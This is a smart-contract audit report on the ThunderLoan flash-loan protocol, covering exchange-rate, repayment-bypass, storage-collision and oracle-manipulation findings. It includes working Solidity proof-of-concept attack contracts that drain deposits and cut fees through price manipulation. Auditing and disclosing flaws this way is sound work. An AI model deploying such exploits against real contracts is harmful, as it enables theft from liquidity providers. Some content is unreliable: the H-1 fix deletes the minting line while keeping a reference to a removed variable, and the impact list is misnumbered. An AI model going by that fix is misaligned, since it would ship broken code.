ThunderLoan Report

Version 1.0

September 16, 2024

ThunderLoan Audit Report

Jaxon Chen

09/16/2024

Lead Auditors: Jaxon Chen

Table of Contents

- Low
  - [L-1] Missing checks for `address(0)` when assigning values to address state variables
- Informationals
  - [I-1] **`public`** functions not used internally could be marked `external`
  - [I-2] Unused Custom Error
  - [I-3] Unused Imports

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

Author makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 026da6e73fde0dd0a650d623d0411547e3188909
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Scope

```
interfaces/
   IFlashLoanReceiver.sol
   IPoolFactory.sol
   ITSwapPool.sol
   IThunderLoan.sol
protocol/
   AssetToken.sol
   OracleUpgradeable.sol
   ThunderLoan.sol
upgradedProtocol/
   ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	1
Info	3
Total	8

Findings

High

[H-1] `Thunderloan::deposit` updates the exchange rate unnecessarily every time a user deposits, causing wrong fees calculation and blocking redemption

Description: In `Thunderloan::deposit`, the `exchangeRate` is used for calculating the corresponding underlying tokens using assertTokens. It should only be updated only after flashloans happen. However, in `deposit` function it incorrectly updates the exchange rate.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
@>      assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact:

1. The `redeem` function is blocked because protocol will wrongly tracked the deposited tokens from the liquidity provider. The contract has fewer tokens than it expects, so liquidity provider will be unable to withdraw their deposits.
2. Rewards (calculated fees) are incorrectly calculated, letting liquidity providers get way more than assumed. **Proof of Concept:**
3. Liquidity Providers deposit
4. User takes out a flash loan
5. Recorded deposits do not match the actual one
6. Liquidity Providers cannot redeem their underlying tokens.
   Proof of Code

Place the code into test file.

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 startingBalance = tokenA.balanceOf(liquidityProvider);
        console.log(startingBalance);
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();
        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        uint256 endingBalance = tokenA.balanceOf(liquidityProvider);
        uint256 totalRedeem = endingBalance - startingBalance;
        console.log(thunderLoan.getCalculatedFee(tokenA, DEPOSIT_AMOUNT
            ));
        assertEq(DEPOSIT_AMOUNT + thunderLoan.getCalculatedFee(tokenA,
            DEPOSIT_AMOUNT), totalRedeem);
    }
```

Recommended Mitigation: Remove the incorrect update in `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
```

```
-        assetToken.mint(msg.sender, mintAmount);
-        uint256 calculatedFee = getCalculatedFee(token, amount);
         assetToken.updateExchangeRate(calculatedFee);
         token.safeTransferFrom(msg.sender, address(assetToken), amount)
             ;
     }
```

[H-2] User can use function `ThunderLoan::deposit` to repay the loans instead of `repay` because the contract only checks the balance to verify, thus malicious user can `deposit` and `redeem` to steal the money in the contract.

Description: In `deposit` function, the revert happens when the ending balance of the `AssetToken` contract does not receive a total value of debt plus fees. However, malicious user can utilize the process for liquidity provider, `deposit`, to repay the money and complete the transaction. They can then call `redeem` function to get the money (from loan) back.

```
     uint256 endingBalance = token.balanceOf(address(assetToken));
     if (endingBalance < startingBalance + fee) {
         revert ThunderLoan__NotPaidBack(startingBalance + fee,
             endingBalance);
     }
```

Impact: The user can repeatedly do this untill funds in the contract drained out. **Proof of Concept:**

1. Malicious user call `flashloan` function and take out a flash loan.
2. In execution operation, they choose to deposit the loan into the `ThunderLoan` contract.
3. The transaction calling `flashloan` successfully complete
4. The user call `redeem` function to take the money back.

Proof of Code

Place the contract and the function into test file

```
     function testUseDepositToRepay() public setAllowedToken hasDeposits
          {
         vm.startPrank(user);
         uint256 amountToBorrow = 50e18;
         uint256 fee = thunderLoan.getCalculatedFee(tokenA,
             amountToBorrow);

         DepositToRepay dp = new DepositToRepay(address(thunderLoan));
         tokenA.mint(address(dp), fee);
         thunderLoan.flashloan(address(dp), tokenA, amountToBorrow, "");
         dp.redeemMoney();
         vm.stopPrank();
         assert(tokenA.balanceOf(address(dp)) < amountToBorrow + fee);
```

```
    }

}

contract DepositToRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(s_token);
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(s_token, amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }

}
```

Recommended Mitigation: We can add an extra layer of security by preventing deposits in the same block as a flash loan. Here's how to implement this:

1. Add a new state variable to track the block number of the last flash loan for each token:

```
mapping(IERC20 => uint256) private s_lastFlashLoanBlock;
```

2. Update the flashloan function to record the current block number:

```
function flashloan(
    address receiverAddress,
    IERC20 token,
    uint256 amount,
    bytes calldata params
)
    external
    revertIfZero(amount)
    revertIfNotAllowedToken(token)
{
    .
    .
    .
    s_lastFlashLoanBlock[token] = block.number;
    s_currentlyFlashLoaning[token] = true;
    .
    .
    .
}
```

3. Modify the deposit function to check the last flash loan block:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    if (block.number == s_lastFlashLoanBlock[token]) {
        revert ThunderLoan__CannotDepositInSameBlockAsFlashLoan();
    }
    .
    .
    .
}
```

[H-3] The storage slots are different after upgrading `ThunderLoan`, causing storage collision and mixing up the variables

Description: `ThunderLoan` has two variables in following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded` has them in different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

After deployment, the contract's storage variables' positions are fixed and cannot be adjusted. **Impact:** After the upgrade, `s_flashLoanFee` will takes the value of `s_feePrecision`. Since constant does not take position, following variables will all mess up, severely breaking the functionality of the contract. **Proof of Concept:** The below codes will output:

- Fee before upgrade: 3000000000000000

- Fee after upgrade: 1000000000000000000

```
    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgraded = thunderLoan.getFee();
        vm.stopPrank();
        console.log("Fee before upgrade: ", feeBeforeUpgrade);
        console.log("Fee after upgrade: ", feeAfterUpgraded);
    }
```

Recommended Mitigation: Create a blank storage variable that take place into original one for `FEE_PRECISION`.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using Tswap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM. The price of a token is determined by its own mechanism, mainly by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of the asset tokens by buying or selling a large amount of the token in the same transaction, substantially reducing protocol fees. **Impact:** Liquidity providers receive far less fees. **Proof of Concept:** The following happens in 1 transaction:

1. User takes a flash load from `ThunderLoan` for 100 `tokenA`. They are chared the original fee `fee1`. During the flash loan, they do:
    1. User sells 1000 `tokenA`, manipulated the price.
    2. Instead of repaying the loan right away, user takes another flash loan for another 1000 `tokenA`.
    3. Due to the price change in `TSwapPool` and the fact that `ThunderLoan` calculates price based on it, the second flash loan is substantially cheaper.
2. User repays the first flash loan and the second flash loan.

Proof of Code

```
    function testOracleManipulation() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, (block
            .timestamp));
        vm.stopPrank();
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console.log("Normal Fee: ", normalFeeCost);
        uint256 amountToBorrow = 50e18;
        MaliciousFlashReceiver mr = new MaliciousFlashReceiver(
            address(tswapPool), address(thunderLoan), address(
                thunderLoan.getAssetFromToken(tokenA))
        );
        vm.startPrank(user);
        tokenA.mint(address(mr), 100e18);
        thunderLoan.flashloan(address(mr), tokenA, amountToBorrow, "");
        vm.stopPrank();
        uint256 attackFee = mr.feeOne() + mr.feeTwo();
        console.log("attack Fee is: ", attackFee);
        assert(attackFee < normalFeeCost);
    }

}

contract MaliciousFlashReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            IERC20(token).approve(address(thunderLoan), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            feeTwo = fee;
            IERC20(token).approve(address(thunderLoan), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }

}
```

Recommended Mitigation: Use other oracles like Chainlink price feeds with Uniswap TWAP fallback oracle.

Low

[L-1] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line: 16

```
        s_poolFactory = poolFactoryAddress;
```

Informationals

[I-1] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 231

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/protocol/ThunderLoan.sol Line: 276

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 280

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
        returns (bool) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 230

```
    function repay(IERC20 token, uint256 amount) public {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 275

```
    function getAssetFromToken(IERC20 token) public view returns (
        AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 279

```
    function isCurrentlyFlashLoaning(IERC20 token) public view
       returns (bool) {
```

[I-2] Unused Custom Error

it is recommended that the definition be removed when custom error is unused

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-3] Unused Imports

Redundant import statement. Consider removing it.

1 Found Instances

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 4

```
import { IThunderLoan } from "./IThunderLoan.sol";
```